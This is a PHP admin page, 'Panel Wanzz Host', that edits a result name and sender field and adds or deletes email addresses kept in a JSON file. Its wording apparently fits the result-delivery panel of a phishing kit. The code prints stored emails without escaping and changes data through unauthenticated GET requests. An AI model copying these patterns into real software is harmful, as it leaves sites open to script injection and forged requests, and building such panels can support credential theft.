<?php
include 'data.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Panel Wanzz Host</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
  <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet">
  <style>
    :root {
      --primary-color: #6c5ce7;
      --secondary-color: #a29bfe;
      --accent-color: #fd79a8;
      --dark-color: #2d3436;
      --light-color: #f5f6fa;
      --success-color: #00b894;
      --danger-color: #d63031;
      --warning-color: #fdcb6e;
      --info-color: #0984e3;
    }
    
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
      font-family: 'Poppins', sans-serif;
    }
    
    body {
      background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
      min-height: 100vh;
      color: var(--dark-color);
    }
    
    .glass-card {
      background: rgba(255, 255, 255, 0.85);
      backdrop-filter: blur(10px);
      -webkit-backdrop-filter: blur(10px);
      border-radius: 12px;
      box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.1);
      border: 1px solid rgba(255, 255, 255, 0.18);
      padding: 25px;
      margin-bottom: 25px;
      transition: all 0.3s ease;
    }
    
    .glass-card:hover {
      box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.2);
      transform: translateY(-5px);
    }
    
    .card-header {
      background: linear-gradient(135deg, var(--primary-color) 0%, var(--secondary-color) 100%);
      color: white;
      border-radius: 8px 8px 0 0 !important;
      padding: 12px 20px;
      font-weight: 500;
    }
    
    .form-control, .custom-select {
      border-radius: 8px;
      padding: 12px 15px;
      border: 1px solid rgba(0, 0, 0, 0.1);
      transition: all 0.3s;
    }
    
    .form-control:focus, .custom-select:focus {
      border-color: var(--primary-color);
      box-shadow: 0 0 0 0.2rem rgba(108, 92, 231, 0.25);
    }
    
    .btn-primary {
      background-color: var(--primary-color);
      border-color: var(--primary-color);
      border-radius: 8px;
      padding: 10px 20px;
      font-weight: 500;
      transition: all 0.3s;
    }
    
    .btn-primary:hover {
      background-color: #5a4bd8;
      border-color: #5a4bd8;
      transform: translateY(-2px);
    }
    
    .btn-success {
      background-color: var(--success-color);
      border-color: var(--success-color);
      border-radius: 8px;
      padding: 10px 20px;
      font-weight: 500;
      transition: all 0.3s;
    }
    
    .btn-success:hover {
      background-color: #00a884;
      border-color: #00a884;
      transform: translateY(-2px);
    }
    
    .btn-danger {
      background-color: var(--danger-color);
      border-color: var(--danger-color);
      border-radius: 8px;
      padding: 10px 20px;
      font-weight: 500;
      transition: all 0.3s;
    }
    
    .btn-danger:hover {
      background-color: #c53030;
      border-color: #c53030;
      transform: translateY(-2px);
    }
    
    .logo-container {
      text-align: center;
      margin-bottom: 30px;
    }
    
    .logo {
      max-width: 180px;
      height: auto;
      border-radius: 50%;
      box-shadow: 0 10px 20px rgba(0, 0, 0, 0.1);
      border: 3px solid white;
    }
    
    .input-group-text {
      background-color: var(--primary-color);
      color: white;
      border: none;
    }
    
    .email-list {
      max-height: 300px;
      overflow-y: auto;
      padding-right: 10px;
    }
    
    .email-list::-webkit-scrollbar {
      width: 6px;
    }
    
    .email-list::-webkit-scrollbar-track {
      background: rgba(0, 0, 0, 0.05);
      border-radius: 10px;
    }
    
    .email-list::-webkit-scrollbar-thumb {
      background: var(--primary-color);
      border-radius: 10px;
    }
    
    .modal-content {
      border-radius: 12px;
      overflow: hidden;
      border: none;
    }
    
    .modal-header {
      background: linear-gradient(135deg, var(--primary-color) 0%, var(--secondary-color) 100%);
      color: white;
    }
    
    .badge-custom {
      background-color: var(--accent-color);
      color: white;
      font-weight: 500;
      padding: 5px 10px;
      border-radius: 20px;
      font-size: 0.8rem;
    }
    
    .action-buttons {
      display: flex;
      gap: 10px;
      margin-top: 20px;
    }
    
    @media (max-width: 768px) {
      .action-buttons {
        flex-direction: column;
      }
      
      .action-buttons .btn {
        width: 100%;
      }
    }
  </style>
</head>
<body>
  <div class="container py-5">
    <div class="row justify-content-center">
      <div class="col-lg-8">
        <div class="logo-container">
          <h2 class="mt-3">Wanzz Host</h2>
          <p class="text-muted">Manage your data and email lists</p>
        </div>
        
        <!-- Data Result Card -->
        <div class="glass-card">
          <div class="card-header d-flex align-items-center">
            <i class="fas fa-database me-2"></i>
            <span>Data Result</span>
          </div>
          <div class="card-body">
            <div class="mb-3">
              <label class="form-label">Nama Result</label>
              <div class="input-group">
                <span class="input-group-text"><i class="fas fa-user"></i></span>
                <input type="text" class="form-control" value="<?= $nik; ?>" readonly>
              </div>
            </div>
            
            <div class="mb-3">
              <label class="form-label">Panel Murni</label>
              <div class="input-group">
                <span class="input-group-text"><i class="fas fa-server"></i></span>
                <input type="text" class="form-control" value="<?= $sender; ?>" readonly>
              </div>
            </div>
            
            <button class="btn btn-primary mt-2" data-bs-toggle="modal" data-bs-target="#gantidata">
              <i class="fas fa-edit me-2"></i>Edit Data
            </button>
          </div>
        </div>
        
        <!-- Email List Card -->
        <div class="glass-card">
          <div class="card-header d-flex align-items-center">
            <i class="fas fa-envelope me-2"></i>
            <span>Email List</span>
            <span class="badge-custom ms-auto">
              <?php 
                $read = file_get_contents('data.json');
                $json = json_decode($read,true);
                echo count($json).' emails';
              ?>
            </span>
          </div>
          <div class="card-body">
            <div class="email-list">
              <?php
                $read = file_get_contents('data.json');
                $json = json_decode($read,true);
                
                if(count($json) > 0) {
                  foreach($json as $index => $emailData) {
                    echo '<div class="input-group mb-2">
                            <span class="input-group-text"><i class="fas fa-at"></i></span>
                            <input type="email" class="form-control" value="'.$emailData['email'].'" readonly>
                          </div>';
                  }
                } else {
                  echo '<div class="alert alert-info">No emails found. Add your first email!</div>';
                }
              ?>
            </div>
            
            <div class="action-buttons">
              <button class="btn btn-success" data-bs-toggle="modal" data-bs-target="#exampleModalCenter">
                <i class="fas fa-plus me-2"></i>Add Email
              </button>
              <button class="btn btn-danger" data-bs-toggle="modal" data-bs-target="#delete">
                <i class="fas fa-trash me-2"></i>Delete Email
              </button>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>

  <!-- Edit Data Modal -->
  <div class="modal fade" id="gantidata" tabindex="-1" aria-labelledby="gantidataLabel" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered">
      <div class="modal-content">
        <div class="modal-header">
          <h5 class="modal-title" id="gantidataLabel"><i class="fas fa-edit me-2"></i>Edit Data</h5>
          <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
        </div>
        <div class="modal-body">
          <div class="mb-3">
            <label for="valNick" class="form-label">Nama Result</label>
            <input type="text" id="valNick" class="form-control" value="<?= $nik; ?>">
          </div>
          <div class="mb-3">
            <label for="valSender" class="form-label">Panel Murni <small class="text-muted">(Do not change)</small></label>
            <input type="text" id="valSender" class="form-control" value="<?= $sender; ?>">
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="button" id="gantis" class="btn btn-primary">
            <i class="fas fa-save me-2"></i>Save Changes
          </button>
        </div>
      </div>
    </div>
  </div>

  <!-- Add Email Modal -->
  <div class="modal fade" id="exampleModalCenter" tabindex="-1" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered">
      <div class="modal-content">
        <div class="modal-header">
          <h5 class="modal-title" id="exampleModalCenterTitle"><i class="fas fa-plus-circle me-2"></i>Add Email</h5>
          <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
        </div>
        <div class="modal-body">
          <div id="sukses" style="display: none" class="alert alert-success alert-dismissible fade show" role="alert">
            Email <strong id="emmail"></strong> added successfully!
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
          </div>
          <div class="mb-3">
            <label for="addEmail" class="form-label">Email Address</label>
            <input type="email" class="form-control" id="addEmail" placeholder="Enter new email">
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="button" id="add" class="btn btn-success">
            <i class="fas fa-plus me-2"></i>Add Email
          </button>
        </div>
      </div>
    </div>
  </div>

  <!-- Delete Email Modal -->
  <div class="modal fade" id="delete" tabindex="-1" aria-labelledby="deleteLabel" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered">
      <div class="modal-content">
        <div class="modal-header">
          <h5 class="modal-title" id="deleteLabel"><i class="fas fa-trash-alt me-2"></i>Delete Email</h5>
          <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
        </div>
        <div class="modal-body">
          <div id="suksess" style="display: none" class="alert alert-success alert-dismissible fade show" role="alert">
            Email deleted successfully!
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
          </div>
          <div class="mb-3">
            <label class="form-label">Select Email to Delete</label>
            <select class="form-select" name="zz">
              <option selected disabled>Choose email to delete</option>
              <?php
                $read = file_get_contents('data.json');
                $json = json_decode($read,true);
                
                foreach($json as $index => $emailData) {
                  echo '<option value="'.$index.'">'.$emailData['email'].'</option>';
                }
              ?>
            </select>
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="button" id="dels" class="btn btn-danger">
            <i class="fas fa-trash me-2"></i>Delete
          </button>
        </div>
      </div>
    </div>
  </div>

  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
  <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
  
  <script type="text/javascript">
    $(document).ready(function() {
      // Add email
      $('#add').click(function(){
        const email = $('#addEmail').val();
        if(!email) {
          alert('Please enter an email address');
          return;
        }
        
        $(this).html('<i class="fas fa-spinner fa-spin me-2"></i>Adding...').prop('disabled', true);
        
        $.get('add.php?mail='+email, function(done){
          if(done == 200) {
            $('#emmail').text(email);
            $('#sukses').fadeIn();
            setTimeout(() => {
              location.reload();
            }, 1500);
          } else {
            alert('Error adding email');
            $('#add').html('<i class="fas fa-plus me-2"></i>Add Email').prop('disabled', false);
          }
        }).fail(function() {
          alert('Connection error');
          $('#add').html('<i class="fas fa-plus me-2"></i>Add Email').prop('disabled', false);
        });
      });
      
      // Delete email
      $('#dels').click(function(){
        const selected = $('select[name=zz] option').filter(':selected').val();
        if(!selected) {
          alert('Please select an email to delete');
          return;
        }
        
        $(this).html('<i class="fas fa-spinner fa-spin me-2"></i>Deleting...').prop('disabled', true);
        
        $.get('delete.php?keys='+selected, function(done){
          if(done == 200) {
            $('#suksess').fadeIn();
            setTimeout(() => {
              location.reload();
            }, 1500);
          } else {
            alert('Error deleting email');
            $('#dels').html('<i class="fas fa-trash me-2"></i>Delete').prop('disabled', false);
          }
        }).fail(function() {
          alert('Connection error');
          $('#dels').html('<i class="fas fa-trash me-2"></i>Delete').prop('disabled', false);
        });
      });
      
      // Update data
      $('#gantis').click(function(){
        const nick = $('#valNick').val();
        const sender = $('#valSender').val();
        
        if(!nick) {
          alert('Please enter a name');
          return;
        }
        
        $(this).html('<i class="fas fa-spinner fa-spin me-2"></i>Saving...').prop('disabled', true);
        
        $.get('ganti.php?nick='+nick+'&sender='+sender, function(done){
          if(done == 200) {
            setTimeout(() => {
              location.reload();
            }, 1500);
          } else {
            alert('Error saving data');
            $('#gantis').html('<i class="fas fa-save me-2"></i>Save Changes').prop('disabled', false);
          }
        }).fail(function() {
          alert('Connection error');
          $('#gantis').html('<i class="fas fa-save me-2"></i>Save Changes').prop('disabled', false);
        });
      });
      
      // Reset forms when modals are closed
      $('.modal').on('hidden.bs.modal', function() {
        $(this).find('form').trigger('reset');
        $(this).find('.alert').hide();
        $(this).find('button').html(function() {
          return $(this).data('original-text') || $(this).html();
        }).prop('disabled', false);
      });
    });
  </script>
</body>
</html>